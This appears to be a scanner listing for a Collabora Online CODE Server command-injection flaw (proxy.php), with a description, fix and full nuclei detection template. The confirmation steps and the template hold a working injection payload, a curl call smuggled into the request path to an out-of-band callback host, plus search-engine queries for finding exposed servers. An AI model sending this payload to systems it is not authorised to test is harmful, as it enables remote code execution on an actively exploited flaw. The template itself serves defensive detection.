Collabora Built-in CODE Server < 26.4.303 - OS Command Injection

Exploited in the wild. Listed by CISA on 2026-10-23; known to be used by ransomware.

criticalseverity

9.2CVSS score

73.3%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Collabora Online Built-in CODE Server before 26.4.303 contains a command injection caused by improper handling in proxy.php when the CODE server is not running, letting remote attackers execute OS commands, exploit requires CODE server to be stopped.

Impact

Remote attackers can execute arbitrary OS commands, potentially leading to full system compromise.

Fix

Upgrade to version 26.4.303 or later.

How to confirm it

Send: GET {{BaseURL}}/apps/richdocumentscode/proxy.php?nuclei_detect
Positive when: contains "Socket proxy error"
Send: GET /x$(curl${IFS}-s${IFS}{{interactsh-url}})x/%2e%2e/apps/richdocumentscode/proxy.php?status
Positive when: contains "\"status\"" AND contains in interactsh_protocol "http"
Send: GET {{BaseURL}}/apps/richdocumentscode_arm64/proxy.php?nuclei_detect
Positive when: contains "Socket proxy error"
Send: GET /x$(curl${IFS}-s${IFS}{{interactsh-url}})x/%2e%2e/apps/richdocumentscode_arm64/proxy.php?status
Positive when: contains "\"status\"" AND contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2026-110447 -u <target>

The full check

id: CVE-2026-110447

info:
  name: Collabora Built-in CODE Server < 26.4.303 - OS Command Injection
  author: alex700
  severity: critical
  description: |
    Collabora Online Built-in CODE Server before 26.4.303 contains a command injection caused by improper handling in proxy.php when the CODE server is not running, letting remote attackers execute OS commands, exploit requires CODE server to be stopped.
  impact: |
    Remote attackers can execute arbitrary OS commands, potentially leading to full system compromise.
  remediation: |
    Upgrade to version 26.4.303 or later.
  reference:
    - https://github.com/CollaboraOnline/richdocumentscode/issues/354
    - https://github.com/CollaboraOnline/richdocumentscode/compare/26.4.302...26.4.303
    - https://github.com/CVEProject/cvelistV5/blob/main/cves/2026/110xxx/CVE-2026-110447.json
    - https://nvd.nist.gov/vuln/detail/CVE-2026-110447
  classification:
    cve-id: CVE-2026-110447
    epss-score: 0.73307
    epss-percentile: 0.99465
    cwe-id: CWE-78
    cvss-score: 9.2
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
  metadata:
    verified: true
    max-request: 4
    vendor: collabora
    product: richdocumentscode
    fofa-query: body="/apps/richdocumentscode/"
    shodan-query: http.html:"/apps/richdocumentscode/"
    publicwww-query: "/apps/richdocumentscode/"
  tags: cve,cve2026,collabora,nextcloud,richdocumentscode,rce,oast,intrusive,vuln,kev,vkev

flow: (http(1) && http(2)) || (http(3) && http(4))

http:
  - method: GET
    path:
      - "{{BaseURL}}/apps/richdocumentscode/proxy.php?nuclei_detect"
    matchers:
      - type: word
        part: body
        words:
          - "Socket proxy error"
        internal: true

  - unsafe: true
    raw:
      - |+
        GET /x$(curl${IFS}-s${IFS}{{interactsh-url}})x/%2e%2e/apps/richdocumentscode/proxy.php?status HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"status"'
      - type: word
        part: interactsh_protocol
        words:
          - "http"

  - method: GET
    path:
      - "{{BaseURL}}/apps/richdocumentscode_arm64/proxy.php?nuclei_detect"
    matchers:
      - type: word
        part: body
        words:
          - "Socket proxy error"
        internal: true

  - unsafe: true
    raw:
      - |+
        GET /x$(curl${IFS}-s${IFS}{{interactsh-url}})x/%2e%2e/apps/richdocumentscode_arm64/proxy.php?status HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"status"'
      - type: word
        part: interactsh_protocol
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from